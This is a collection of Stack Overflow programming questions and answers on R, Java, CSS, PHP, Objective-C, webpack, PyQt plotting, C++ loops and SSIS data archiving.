19697700	0	How to speed up rbind? <p>I'm supposed to download a table from MS-SQL server.</p> <p>The number of row is larger than 6million. The server cannot return entire data at once.</p> <p>So, I wrote a code that downloads 10,000 rows at a time. and, it binds rows in the loop.</p> <p>Assume that <code>getData()</code> function returns a data frame contains 10000 rows at a time. (Pseudo Code)</p> <pre><code>for(i in 1:600) { tempValue &lt;- getData() wannagetValue &lt;- rbind(wannagetValue,tempValue) print(i) } </code></pre> <p>The problem is that it gets slower as time goes by.</p> <p>I think using rbind like that way is not a good idea.</p> <p>Any advice will be very helpful. Thank you in advance.</p>
8481610	0	R - Customizing X Axis Values in Histogram <p>I want to change the values on the x axis in my histogram in R. </p> <p>The computer currently has it set as </p> <pre><code>0, 20, 40, 60, 80, 100. </code></pre> <p>I want the x axis to go by 10 as in: </p> <pre><code>0,10,20,30,40,50,60,70,80,90,100. </code></pre> <p>I know to get rid of the current axis I have to do this</p> <pre><code>(hist(x), .... xaxt = 'n') </code></pre> <p>and then</p> <pre><code>axis(side = 1) ..... </code></pre> <p>But how do I get it to show the numbers that I need it to show? </p> <p>Thanks.</p>
20733107	0	 <p>As far as I know , some goals are yet not available with the tomcat7 mojo and <code>mvn tomcat7:list</code> is one of them. <code>mvn tomcat6:list</code> is available for the tomcat6 mojo.</p>
26423414	0	 <pre><code>public static int yourFunction(ArrayList&lt;Integer&gt; list){ String numbers = ""; // fill a string with your numbers for(Integer i : list){ numbers += String.valueOf(i); } // could be nicer with java8 lambda function String tmp_numbers; // temporary string needed while(numbers.length() &gt; 2){ tmp_numbers = ""; for(int i = 0; i &lt; numbers.length()-1; ++i){ // add two following numbers // substring to read digit by digit int v = Integer.parseInt(numbers.substring(i,i+1)); // first digit v += Integer.parseInt(numbers.substring(i+1,i+2)); // + second tmp_numbers = tmp_numbers + String.valueOf(v); // and fill the tmp string with it } numbers = tmp_numbers; // set the tmp string to our new beginning } return Integer.parseInt(numbers); } </code></pre>
1541941	0	 <p>Possible the Handle is not created, you can test this with IsHandleCreated. See <a href="http://stackoverflow.com/questions/1364116/avoiding-the-woes-of-invoke-begininvoke-in-cross-thread-winform-event-handling">this question</a> for numerous issues on IvokeReqired usage. You can see the my own answer was far from simple to acually make it work reliably. </p> <p>I would recommend first not threading the UI. If you must use the .Net reflector to see what those API calls are really doing.</p> <p>Update:</p> <p>@karthik, your sample isn't complete enough for me to be able to fix it. I can't tell when or on what thread the form might have been created. I can tell you that if you just call this from any-old-thead it won't work, it needs a message pump. There are thee ways to get a message pump on a thread:</p> <ol> <li>Call Application.Run</li> <li>Call Form.ShowModalDialog</li> <li>Call Application.DoEvents in a loop</li> </ol>
11216443	0	 <p>You can achieve that by using css overflow-x: auto; please see example <a href="http://jsfiddle.net/Xa8yB/6/" rel="nofollow">http://jsfiddle.net/Xa8yB/6/</a></p>
19756944	0	 <p>you can use simply this code:</p> <pre><code>div{ width:100vw; height:100vh; } </code></pre> <p>this code work like a charm... <code>:)</code></p> <p><a href="http://jsfiddle.net/mohsen4887/m3BSk/" rel="nofollow"><strong>jsFiddle</strong></a></p>
8782240	0	 <p><em>EDIT - The following will convert UTF-16 with BOM. I don't think it works with any of the other UTF formats. I know it doesn't work for UTF-8. I'm not sure about UTF-32 with BOM</em></p> <pre><code>for %%F in (*.txt) do type "%%F" &gt;"%%~nF.converted" </code></pre> <p>If run from the command line then use single percent <code>%</code> instead of double percent <code>%%</code>.</p> <p>After you verify the converted files are correct, you can</p> <pre><code>del *.txt ren *.converted *.txt </code></pre>
30132413	0	 <blockquote> <p>Are these the right schema types for generating the search results snippet shown in the picture?</p> </blockquote> <p>If these are rejected in GWT, then snippets will never appear. If proper <code>schema.org</code> is implemented, then Google may display it if it trusts your site enough and if it <a href="https://developers.google.com/structured-data/" rel="nofollow">supports</a> these schema types.</p>
27733794	0	QML can't open file dialog <p>I'm trying to create a simple File dialog using the QML:</p> <pre><code>import QtQuick 2.2 import QtQuick.Dialogs 1.0 FileDialog { id: fileDialog title: "Please choose a file" onAccepted: { console.log("You chose: " + fileDialog.fileUrls) Qt.quit() } onRejected: { console.log("Canceled") Qt.quit() } Component.onCompleted: visible = true } </code></pre> <p>However, when I try to preview it I receive following errors/warnings:</p> <pre><code>QInotifyFileSystemWatcherEngine::addPaths: inotify_add_watch failed: No such file or directory Invalid URL: QUrl( "" ) Invalid URL: QUrl( "" ) Invalid URL: QUrl( "" ) Invalid URL: QUrl( "" ) kf5.kio.core: KLocalSocket(0x1a51cf0) Jumbo packet of 35946 bytes </code></pre> <p>As far as I understand, settings the QUrl is not needed to display the dialog. If so, is it possible to set it to the user's home folder in a cross-platform way? I also tried to start the ibus daemon as I found on google that it's causing that first error line but it's still not working.</p> <p>I'm using Arch (fully updated) with KF5 and QT5.4 installed.</p> <p>Thanks for help!</p>
14507173	0	Copy TabControl Tab <p>I searched the internet for this but i couldn't find how to do it with C#</p> <p>What i am trying to do is make it so that when i click on my <code>NewTab</code> button, a new tab appears with the same controls that were on the first tab. I saw some information on how to add a <code>UserControl</code> to your form, but C# doesn't have anything like that.</p> <p>And for everyone who would say "Post your code", i don't have any, so don't bother saying that, the only code i have is the code for the program and that wouldn't help anyone.</p>
4053417	0	Problem with NSStrings and UIAlertView <p>I have having a very odd issue when utilizing this UIAlertView. When viewing a Physician they have several offices. Upon selecting one you get an alert that offers to call this location or display it on a map. To create the alert and to have data at the ready when the alert is dismissed, I declared 4 NSStrings (although I probably only need 2) in the header file. (alertTitle, alertText, alertNumber, and alertAddress) </p> <p>When looking at the code, the problem is where the alertAddress is involved. Also keep alertNumber in mind. I had a lot of this code condensed but have expanded it to help myself find the problem!</p> <pre><code> -(IBAction)address1ButtonPressed:(id) sender { Formatter *pnf = [Formatter alloc]; alertTitle = [physician objectForKey:ADDRESS1DESC_KEY]; NSString *a = [physician objectForKey:ADDRESS1A_KEY]; NSString *b =[physician objectForKey:ADDRESS1CITY_KEY]; NSString *c =[physician objectForKey:ADDRESS1STATE_KEY]; NSString *d = [physician objectForKey:ADDRESS1ZIP_KEY]; NSString *p = [physician objectForKey:PHONE1A_KEY]; alertAddress = [[NSString stringWithFormat:@"http://maps.google.com/maps?q=%@,+%@,+%@+%@",a,b,c,d] stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding]; NSLog(@"%@",alertAddress); alertText = [NSString stringWithFormat:@"%@\n%@, %@ %@\n%@",a,b,c,d,[pnf stringFromPhoneNumber:p]]; alertNumber = [p stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]; [pnf release]; UIAlertView *phoneAlert = [[UIAlertView alloc] initWithTitle:alertTitle message:alertText delegate:self cancelButtonTitle:@"Cancel" otherButtonTitles:@"Call",@"View Map",nil]; [phoneAlert show]; } </code></pre> <p>All is well until we reach the point where we handle the alert dismissal. alertNumber seems to come across just fine, I can use it to trigger the phone call and Log it to the console. </p> <p>alertAddress however is not at all happy about doing the same thing. even trying to Log it to the Console causes a EXC_BAD_ACCESS. alertAddress logs the data correctly before the alert is involved but accessing this data at all when handling the alert button dismissal causes a problem. I have even used the alertNumber it is place and the code functions perfectly. </p> <p>Why are both exact same NSString variables behaving so differently when used the exact same way?</p> <pre><code>- (void)alertView:(UIAlertView *)alertView didDismissWithButtonIndex:(NSInteger)buttonIndex { if (buttonIndex == 1) { NSLog(@"Dialing: %@",alertNumber); [[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"tel://%@",alertNumber]]]; } if (buttonIndex == 2) { NSLog(@"Map Selected"); NSLog(@"alertAddress contains: %@",alertAddress); [[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://maps.google.com/maps?q=%@",alertAddress]]]; } } </code></pre> <p>Here are the related declarations in the header file too...</p> <pre><code>@interface PhysicianDetailViewController: UIViewController { ... NSString *alertTitle; NSString *alertText; NSString *alertNumber; NSString *alertAddress; ... } @property (nonatomic, retain) NSString *alertTitle; @property (nonatomic, retain) NSString *alertText; @property (nonatomic, retain) NSString *alertNumber; @property (nonatomic, retain) NSString *alertAddress; ... </code></pre> <p>And here is the console output during this process if it helps....</p> <pre><code> &gt; 2010-10-29 11:09:17.954 [2672:307] http://maps.google.com/maps?q=123%20Main%20Street%0ASuite%20A,+Tampa,+FL+11111 &gt; 2010-10-29 11:09:21.657 [2672:307] Map Selected &gt; Program received signal: “EXC_BAD_ACCESS”. &gt; kill quit </code></pre>
8164576	0	 <pre><code>$var = '&lt;a href="http://amazon.com/dp/' . $v . '"&gt;http://amazon.com/dp/' . $v.'&lt;/a&gt;'; </code></pre>
18408785	0	Fatal error: Cannot use string offset as an array Not making any sense at all <p>I have the fatal error coming up in the error log but it is not affecting the application at all for some reason. This is the code that is running and it makes no sense why it generating the PHP error.</p> <pre><code>for ($i = 1; $i &lt;= $tournament['num_score_fields']; $i++) { $scoresArrayTemp = array( 'score', 'dist', 'dateShot', 'tens', 'nines' ); foreach($scoresArrayTemp AS $val){ if(empty($scores[$i][$val])){ $scores[$i][$val] = ''; } } } </code></pre> <p>The error is generated by this line</p> <pre><code>$scores[$i][$val] = ''; </code></pre> <p>Any help would be greatly appreciated thanks!</p> <p>Based on answer 1 I changed code to this:</p> <pre><code>for ($i = 1; $i &lt;= $tournament['num_score_fields']; $i++) { $scoresArrayTemp = array( 'score'=&gt;'', 'dist'=&gt;'', 'dateShot'=&gt;'', 'tens'=&gt;'', 'nines'=&gt;'' ); if(!is_array($scores[$i])){ $scores[$i] = $scoresArrayTemp; } echo $scores[$i]['score']; } </code></pre> <p>Still gets the error on the last line when echoing out the variable</p>
38501090	0	How can I debug the source code of .Net Core (not ASP.net Core)? <p>I see that there is a simple solution to enable me to debug ASP.Net Core source Code (<a href="http://stackoverflow.com/a/38450697/6618773">http://stackoverflow.com/a/38450697/6618773</a>). But for me this doesn't work for the .Net Core assemblies from the corefx repository on Github. Is there a solution for this? Thanks a lot.</p>
35646989	0	 <p>On Linux, at least certain versions, <code>st_atime</code> and some other time fields in <code>struct stat</code> are inside <code>struct timespec</code> and contain proper timestamps with full nanosecond precision. On those systems <code>st_atime</code> is a define to something else. On my CentOS machine it is defined to <code>st_atim.tv_sec</code>.</p> <p>Throw your code into the preprocessor to see what it is on your system:</p> <pre><code>$ cat foo.c #include &lt;sys/stat.h&gt; void foo(void) { struct stat st; (void)st.st_atime; } $ cc -E foo.c | tail -7 void foo(void) { struct stat st; (void)st.st_atim.tv_sec; } </code></pre> <p>Gdb doesn't know about preprocessor defines, so it can't know how your code got preprocessed. It only knows about the real definition of the struct.</p>
39372636	0	Slow Small Webpack 2 Build - Tree Shaking - Sass - Chunking <p>I've put together a very basic webpack 2 build, but it seems to be slow for the project size. The three things I wanted have were:</p> <ol> <li>Chunking (js &amp; scss)</li> <li>SCSS compiling</li> <li>Tree Shaking</li> </ol> <p>Webpack seemed to be a good choice for being able to do these things. I've been using Gulp and Rollup, but the SCSS/Chunking along side of the tree shaking is a nice thing. </p> <p>It takes around 4000 - 5000ms to compile the build, which wouldn't be the end of the world except the project is so small, so I'm worried about that becoming much larger as a project grows.</p> <p>I've tried a couple things to improve the speed.</p> <pre><code>resolve : { root: path.resolve(__dirname,'src') } </code></pre> <p>This did help, reducing the time by a couple hundred ms, so that was great. I tried to take this further by also resolving alias, but that didn't really show any gains as far as I could tell.</p> <p>I set devTool to eval as well. Beyond this I haven't really been able to improve things, but I'm sure it's something in the way I've set things up. It's worth noting that while 'webpack' compiles the build, running the webpack-dev-server doesn't. It's starts up, hangs on the compile and then crashes. This may or may not be a separate issue, but I thought it was worth including. </p> <p>I'm also using ES6 System.import for chunking (just as a note).</p> <p>I put the project up on git, so feel free to pull it down: <a href="https://github.com/loriensleafs/trying-out-webpack2" rel="nofollow">https://github.com/loriensleafs/trying-out-webpack2</a></p> <p>The webpack.config.js is:</p> <pre><code>var path = require('path'), webpack = require('webpack'), CleanPlugin = require('clean-webpack-plugin'), ExtractTextPlugin = require('extract-text-webpack-plugin'), production = process.env.NODE_ENV === 'production'; var plugins = [ new ExtractTextPlugin({ filename: 'bundle.css', allChunks: true}), new webpack.optimize.CommonsChunkPlugin({ name : 'vendor', children : true, minChunks : 2 }) ]; if (production) { plugins = plugins.concat([ new CleanPlugin('builds'), new webpack.optimize.DedupePlugin(), new webpack.optimize.OccurenceOrderPlugin(), new webpack.optimize.MinChunkSizePlugin({ minChunkSize: 51200, // ~50kb }), new webpack.optimize.UglifyJsPlugin({ mangle: true, compress: { warnings: false, // Suppress uglification warnings }, }), new webpack.DefinePlugin({ __SERVER__ : !production, __DEVELOPMENT__ : !production, __DEVTOOLS__ : !production, 'process.env': { BABEL_ENV: JSON.stringify(process.env.NODE_ENV), } }) ]); } module.exports = { // debug : !production, devTool : production ? false : 'eval', entry : './src', output : { path : 'builds', filename : 'bundle.js', chunkFilename : 'chunk.js', publicPath : 'builds/' }, resolve : { root: path.resolve(__dirname,'src') }, plugins : plugins, module : { loaders: [ { test : /\.(png|gif|jpe?g|svg)$/i, loader : 'url', query : { limit: 10000 } }, { test : /\.js$/, include : /src/, exclude : /node_modules/, loader : 'babel' }, { test : /\.scss$/, include : /src/, exclude : /node_modules/, loader : ExtractTextPlugin.extract(['css','sass']) }, { test : /\.html$/, loader : 'html' } ] } }; </code></pre> <p>Thanks for any advice/help folks have on this. If there's any other helpful info I can post on here please let me know.</p>
15093480	0	 <pre><code>function updateObject(object, newValue, path){ var stack = path.split('&gt;'); while(stack.length&gt;1){ object = object[stack.shift()]; } object[stack.shift()] = newValue; } </code></pre>
12155327	0	 <ol> <li>Find Ruby installation path. Maybe something like "C:\Ruby193...". There is a bin dir under that.</li> <li>Add the bin dir to your PATH env. </li> </ol>
33292092	0	 <p>You can print "test->data" correctly because that's an int. The issue is that "test->left" and "test->right" are pointers, and pointers are basically numbers that refer to where another object is stored.</p> <p>If you wanted to print the left node's data, you'd have to do this:</p> <pre><code>cout &lt;&lt; "left: " &lt;&lt; test-&gt;left-&gt;data &lt;&lt; endl; </code></pre> <p>And then you'd have to do the same for the right node.</p>
25319584	0	 <p>i think it's not a javascript problem but more a server side issue.</p> <p>You should try to add <code>header('Content-Type: application/json');</code> before your echo in your php file</p>
12207419	0	R: How do I use coord_cartesian on facet_grid with free-ranging axis <p>Consider some <code>facet_grid</code> plot</p> <pre><code>mt &lt;- ggplot(mtcars, aes(mpg, wt, colour = factor(cyl))) + geom_point() mt + facet_grid(vs ~ am, scales = "free") </code></pre> <p><img src="http://had.co.nz/ggplot2/graphics/3cece11dd9b535143ff97d3d2a8a5c2e.png" alt=""></p> <p>Imagine I just want to zoom on <strong>just the top row</strong> in the plots above to only show the y-axes values between 3 and 4. I could do this with <code>coord_cartesian()</code> if they weren't faceted or if I wanted to zoom on all plots, but don't have a good solution in this case. I suppose I could subset the data first, but that is taboo for good reason (e.g. would throw off any statistical layer, etc). </p> <p>(Note that the question is related to this: <a href="http://stackoverflow.com/questions/6574188/r-ggplot2-how-can-i-independently-adjust-the-x-axis-limits-on-a-facet-grid">R: {ggplot2}: How / Can I independently adjust the x-axis limits on a facet_grid plot?</a> but the answer there will not work for this purpose.)</p>
28318309	0	Embedding pyqtgraph into tab widget Pyqt <p>I am bit new to Pyqt4 and pyqtgraph. I have tab widget with me and I want to add pyqtgraph into tab widget, so that this graph will be displayed inside (tab1) widget. Can any one tell me how can I do it? where should I add my pyqtgrapgh code in tab widget code. Corresponding code for tab widget and pyqtgraph is as follows. code for tab widget :</p> <pre><code>from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.resize(728, 507) self.centralWidget = QtGui.QWidget(MainWindow) self.centralWidget.setObjectName(_fromUtf8("centralWidget")) self.tabWidget = QtGui.QTabWidget(self.centralWidget) self.tabWidget.setGeometry(QtCore.QRect(20, 70, 691, 371)) self.tabWidget.setObjectName(_fromUtf8("tabWidget")) self.tab = QtGui.QWidget() self.tab.setObjectName(_fromUtf8("tab")) self.tabWidget.addTab(self.tab, _fromUtf8("")) self.tab_2 = QtGui.QWidget() self.tab_2.setObjectName(_fromUtf8("tab_2")) self.tabWidget.addTab(self.tab_2, _fromUtf8("")) self.label = QtGui.QLabel(self.centralWidget) self.label.setGeometry(QtCore.QRect(320, 20, 71, 41)) font = QtGui.QFont() font.setPointSize(14) self.label.setFont(font) self.label.setObjectName(_fromUtf8("label")) MainWindow.setCentralWidget(self.centralWidget) self.menuBar = QtGui.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 728, 21)) self.menuBar.setObjectName(_fromUtf8("menuBar")) MainWindow.setMenuBar(self.menuBar) self.mainToolBar = QtGui.QToolBar(MainWindow) self.mainToolBar.setObjectName(_fromUtf8("mainToolBar")) MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.mainToolBar) self.statusBar = QtGui.QStatusBar(MainWindow) self.statusBar.setObjectName(_fromUtf8("statusBar")) MainWindow.setStatusBar(self.statusBar) self.retranslateUi(MainWindow) self.tabWidget.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "MainWindow", None, QtGui.QApplication.UnicodeUTF8)) self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "plot_1", None, QtGui.QApplication.UnicodeUTF8)) self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "plot_2", None, QtGui.QApplication.UnicodeUTF8)) self.label.setText(QtGui.QApplication.translate("MainWindow", " PLOTS", None, QtGui.QApplication.UnicodeUTF8)) if __name__ == "__main__": import sys app = QtGui.QApplication(sys.argv) MainWindow = QtGui.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_()) </code></pre> <p>Code for pyqtgrapgh:</p> <pre><code>from pyqtgraph.Qt import QtGui, QtCore import numpy as np import pyqtgraph as pg app = QtGui.QApplication([]) win = pg.GraphicsWindow(title="Basic plotting examples") win.resize(1000,600) win.setWindowTitle('pyqtgraph example: Plotting') # Enable antialiasing for prettier plots pg.setConfigOptions(antialias=True) p6 = win.addPlot(title="My Plot") curve = p6.plot(pen='r') data = np.random.normal(size=(10,10)) ptr = 0 def update(): global curve, data, ptr, p6 curve.setData(data[ptr%10]) if ptr == 0: p6.enableAutoRange('xy', False) ## stop auto-scaling after the first data set is plotted ptr += 1 timer = QtCore.QTimer() timer.timeout.connect(update) timer.start(500) ## Start Qt event loop unless running in interactive mode or using pyside. if __name__ == '__main__': import sys if (sys.flags.interactive != 1) or not hasattr(QtCore, 'PYQT_VERSION'): QtGui.QApplication.instance().exec_() </code></pre> <p>I have tried the way you have suggested me but now I am getting two windows popped up with none of them showing me the plots. I got one plotWidget in my tab Widget but how can I get rid of other plot window? Will you please tell me where I am exactly going wrong. The modified code which I am trying is as follows.</p> <pre><code>from PyQt4 import QtCore, QtGui from pyqtgraph.Qt import QtGui, QtCore import numpy as np import pyqtgraph as pg try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s class Ui_MainWindow(object): def setupUi(self, MainWindow): global win,curve MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.resize(728, 507) self.centralWidget = QtGui.QWidget(MainWindow) self.centralWidget.setObjectName(_fromUtf8("centralWidget")) self.tabWidget = QtGui.QTabWidget(self.centralWidget) self.tabWidget.setGeometry(QtCore.QRect(20, 70, 691, 371)) self.tabWidget.setObjectName(_fromUtf8("tabWidget")) self.tab = QtGui.QWidget() self.tab.setObjectName(_fromUtf8("tab")) ### self.tabWidget.insertTab(3, self.win, "plot") ### self.tabWidget.addTab(self.tab, _fromUtf8("")) self.tab_2 = QtGui.QWidget() self.tab_2.setObjectName(_fromUtf8("tab_2")) self.tabWidget.addTab(self.tab_2, _fromUtf8("")) self.label = QtGui.QLabel(self.centralWidget) self.label.setGeometry(QtCore.QRect(320, 20, 71, 41)) font = QtGui.QFont() font.setPointSize(14) self.label.setFont(font) self.label.setObjectName(_fromUtf8("label")) MainWindow.setCentralWidget(self.centralWidget) self.menuBar = QtGui.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 728, 21)) self.menuBar.setObjectName(_fromUtf8("menuBar")) MainWindow.setMenuBar(self.menuBar) self.mainToolBar = QtGui.QToolBar(MainWindow) self.mainToolBar.setObjectName(_fromUtf8("mainToolBar")) MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.mainToolBar) self.statusBar = QtGui.QStatusBar(MainWindow) self.statusBar.setObjectName(_fromUtf8("statusBar")) MainWindow.setStatusBar(self.statusBar) self.retranslateUi(MainWindow) self.tabWidget.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "MainWindow", None, QtGui.QApplication.UnicodeUTF8)) self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "plot_1", None, QtGui.QApplication.UnicodeUTF8)) self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "plot_2", None, QtGui.QApplication.UnicodeUTF8)) self.label.setText(QtGui.QApplication.translate("MainWindow", " PLOTS", None, QtGui.QApplication.UnicodeUTF8)) win = pg.GraphicsWindow(title="Basic plotting examples") win.resize(1000,600) win.setWindowTitle('pyqtgraph example: Plotting') # Enable antialiasing for prettier plots pg.setConfigOptions(antialias=True) p6 = win.addPlot(title="My Plot") curve = p6.plot(pen='r') data = np.random.normal(size=(10,10)) ptr = 0 def update(): global curve, data, ptr, p6 curve.setData(data[ptr%10]) if ptr == 0: p6.enableAutoRange('xy', False) ## stop auto-scaling after the first data set is plotted ptr += 1 timer = QtCore.QTimer() timer.timeout.connect(update) timer.start(500) if __name__ == "__main__": import sys if (sys.flags.interactive != 1) or not hasattr(QtCore, 'PYQT_VERSION'): QtGui.QApplication.instance().exec_() app = QtGui.QApplication(sys.argv) MainWindow = QtGui.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_()) </code></pre> <p>I am also getting an error like - NameError: global name 'curve' is not defined Segmentation fault (core dumped) Will you please tell me how to get rid of this error.</p>
5042647	0	 <p>I store all data in the database (including last crawl date and post dates) and take all dates I need from database.</p>
35851670	0	 <p>Access to a KML file can not be done locally each service based on google it must be made by means of a publicly accessible server on the Internet. it tries to place your file on a server accessible from the internet (there are also free services)</p> <p>this form google maps developer </p> <blockquote> <p>Your file is hosted publicly on the internet. This is a requirement for all applications loading KML into a KMLLayer. Google's servers need to be able to find and retrieve the content in order to display it on the map - this also means that the file can't be on a password-protected page.</p> </blockquote> <p><a href="https://developers.google.com/maps/tutorials/kml/#your_kml_file" rel="nofollow">https://developers.google.com/maps/tutorials/kml/#your_kml_file</a></p>
7070626	0	Multiple primary keys with Doctrine 1 and Symfony 1? <p>I already know that's not possible to work with multiple primary keys in Symfony 1 and Doctrine 1, but do you guys know any good workarounds?</p>
14108374	0	The condition doesn't seem to work. (while (dAmount != (2*dbAmount))) Also, the first calculation isn't correct o.O <p>My friend and I are learning C++, and we can't seem to get this program running as it should be. So basically, what we are now attempting, is a tasks that requires us to script a program in which the user is asked two variables. One of these variables is a tax percentage (in the form of 1.X) and the other is any positive, real number. Now what it is we need to know, is why our condition isn't prompting? We would really appreciate an answer to our question. Here is the code:</p> <pre><code> #include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;ctype.h&gt; #include &lt;math.h&gt; #include &lt;cstdlib&gt; using namespace std; int main() { double dTax; double dbAmount; double dAmount; cout &lt;&lt; "Tax? (In the form of 1.05)" &lt;&lt; endl; cin &gt;&gt; dTax; cout &lt;&lt; "Amount?" &lt;&lt; endl; cin &gt;&gt; dbAmount; cout &lt;&lt; dbAmount &lt;&lt; " is the amount without taxes incalculated." &lt;&lt; endl; dAmount = (dbAmount*dTax); while (dAmount != (2*dbAmount)) { dAmount = (dAmount*dTax); cout &lt;&lt; dAmount &lt;&lt; " is the next amount, with taxes incalculated." &lt;&lt; endl; break; } cin.get(); return 0; } </code></pre>
3291396	0	What is an attached event? <p>I am learning WPF, and I've run into a term called "Attached Event". I have not been able to find a good resource that isn't confusing.</p> <p>Can anyone tell me what an attached event is and what it does?</p>
5051877	0	 <p>To return javascript to be executed directly in the client, like the Rails erb.js template, the best method would be to return a JavaScriptResult from the controller method</p> <pre><code>public ActionResult AjaxMethod() { /* do stuff */ return JavaScript(script); </code></pre> <p>}</p> <p><a href="http://msdn.microsoft.com/en-us/library/system.web.mvc.javascriptresult.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.web.mvc.javascriptresult.aspx</a></p>
35192846	0	How to style a WordPress widget area? <p>I registered a couple new widget areas above my content and below entries, and I'm having trouble styling them. The classes are <code>above_content</code> and <code>after_entry</code> but making an <code>.above_content</code> and <code>.after_entry</code> class in my stylesheet isn't affecting them. Any ideas? I'm just trying to align then and add padding. <a href="http://gleefulthings.com/WPtestblog" rel="nofollow">My test site</a></p> <p>This is the code I used to register the widget area</p> <pre><code>genesis_register_sidebar( array( 'id' =&gt; 'after_entry', 'name' =&gt; __( 'After Entry', 'domain' ), 'description' =&gt; __( 'After Entry', 'domain' ), ) ); add_action( 'genesis_entry_footer', 'your_widget2' ); function your_widget2() { if ( is_active_sidebar('after_entry') ) { genesis_widget_area( 'after_entry', array( 'before' =&gt; '&lt;div class=“after_entry widget-area"&gt;', 'after' =&gt; '&lt;/div&gt;', ) ); } } </code></pre>
34956067	0	 <p>Solved by using a different plugin: <a href="http://fengyuanchen.github.io/cropper/" rel="nofollow">http://fengyuanchen.github.io/cropper/</a></p>
39008840	0	 <p>when the browser gets smaller you add col-sm-1 and col-xs-1 in to all class.</p> <pre><code> &lt;div class="row wrapper"&gt; &lt;span class="prev-slide col-md-1 col-sm-1 col-xs-1"/&gt; &lt;ul class="tab-container row col-md-10"&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 1&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 2&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 3&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 4&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 5&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 6&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 7&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 8&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 9&lt;/li&gt; &lt;li class="col-md-1 col-sm-1 col-xs-1"&gt;Slide 10&lt;/li&gt; &lt;/ul&gt;&lt;span class="next-slide col-md-1 col-sm-1 col-xs-1"&gt;&gt;&lt;/span&gt; &lt;/div&gt; </code></pre>
16236337	0	 <p>Create 2 OLE DB Connection Managers. Name them Production and Archive and have them point to the correct servers and database. These CMs are what SSIS uses to push and pull data from the databases.</p> <p>Add a Data Flow Task. A DFT is the executable that will allow row by row manipulation of the data. Double click on the Data Flow Task. Once inside, add an OLE DB Source and and OLE DB Destination to the canvas. The OLE DB Source is where the data will come from while the OLE DB Destination provides the insert power. </p> <p>The logic you would want to implement is a <a href="http://stackoverflow.com/questions/15503959/ssis-foreach-through-a-table-insert-into-another-and-delete-the-source-row/15508174#15508174">Delete first</a> approach, much as I outlined in the other answer.</p> <pre><code>DELETE DF OUTPUT DELETED.* FROM dbo.DeleteFirst AS DF WHERE DF.RecordDate &gt; dateadd(y, 3, current_timestamp); </code></pre> <p>This query will delete all the rows older than 3 years <em>and</em> push them into the dataflow. In your OLE DB Source, make the following configuration changes</p> <ol> <li>change the Connection Manager from <code>Archive</code> to <code>Production</code></li> <li>change the query type from "Table or View" to "Query" </li> <li>paste your query and click the Columns tab to double check the query parsed</li> </ol> <p>Connect the OLE DB Source to the OLE DB Destination. Double click on the OLE DB Destination and configure it</p> <ol> <li>Verify the Connection Manager is the <code>Archive</code></li> <li>Ensure the Access Mode is "Table or View - Fastload" (name approximate)</li> <li>You might need to check the Retain IDs based on your table design - if you have identity column, then do check it if you want ID 10 from the production system to be ID 10 in the Archive system</li> <li>Select the actual table</li> <li>On the Mapping tab, ensure that all the columns mapped. It does this automatically by matching names so there shouldn't be a problem.</li> </ol> <p>If you do not need to span an instance, the above logic can be condensed into a single <code>Execute SQL Task</code></p> <pre><code>DELETE DF OUTPUT DELETED.* INTO ArchiveDatabase.dbo.DeleteFirst FROM dbo.DeleteFirst AS DF WHERE DF.RecordDate &gt; dateadd(y, 3, current_timestamp); </code></pre> <p>Also note with this approach that if you have identity columns you will need to provide an explicit column list and turn on and off the IDENTITY_INSERT property.</p>
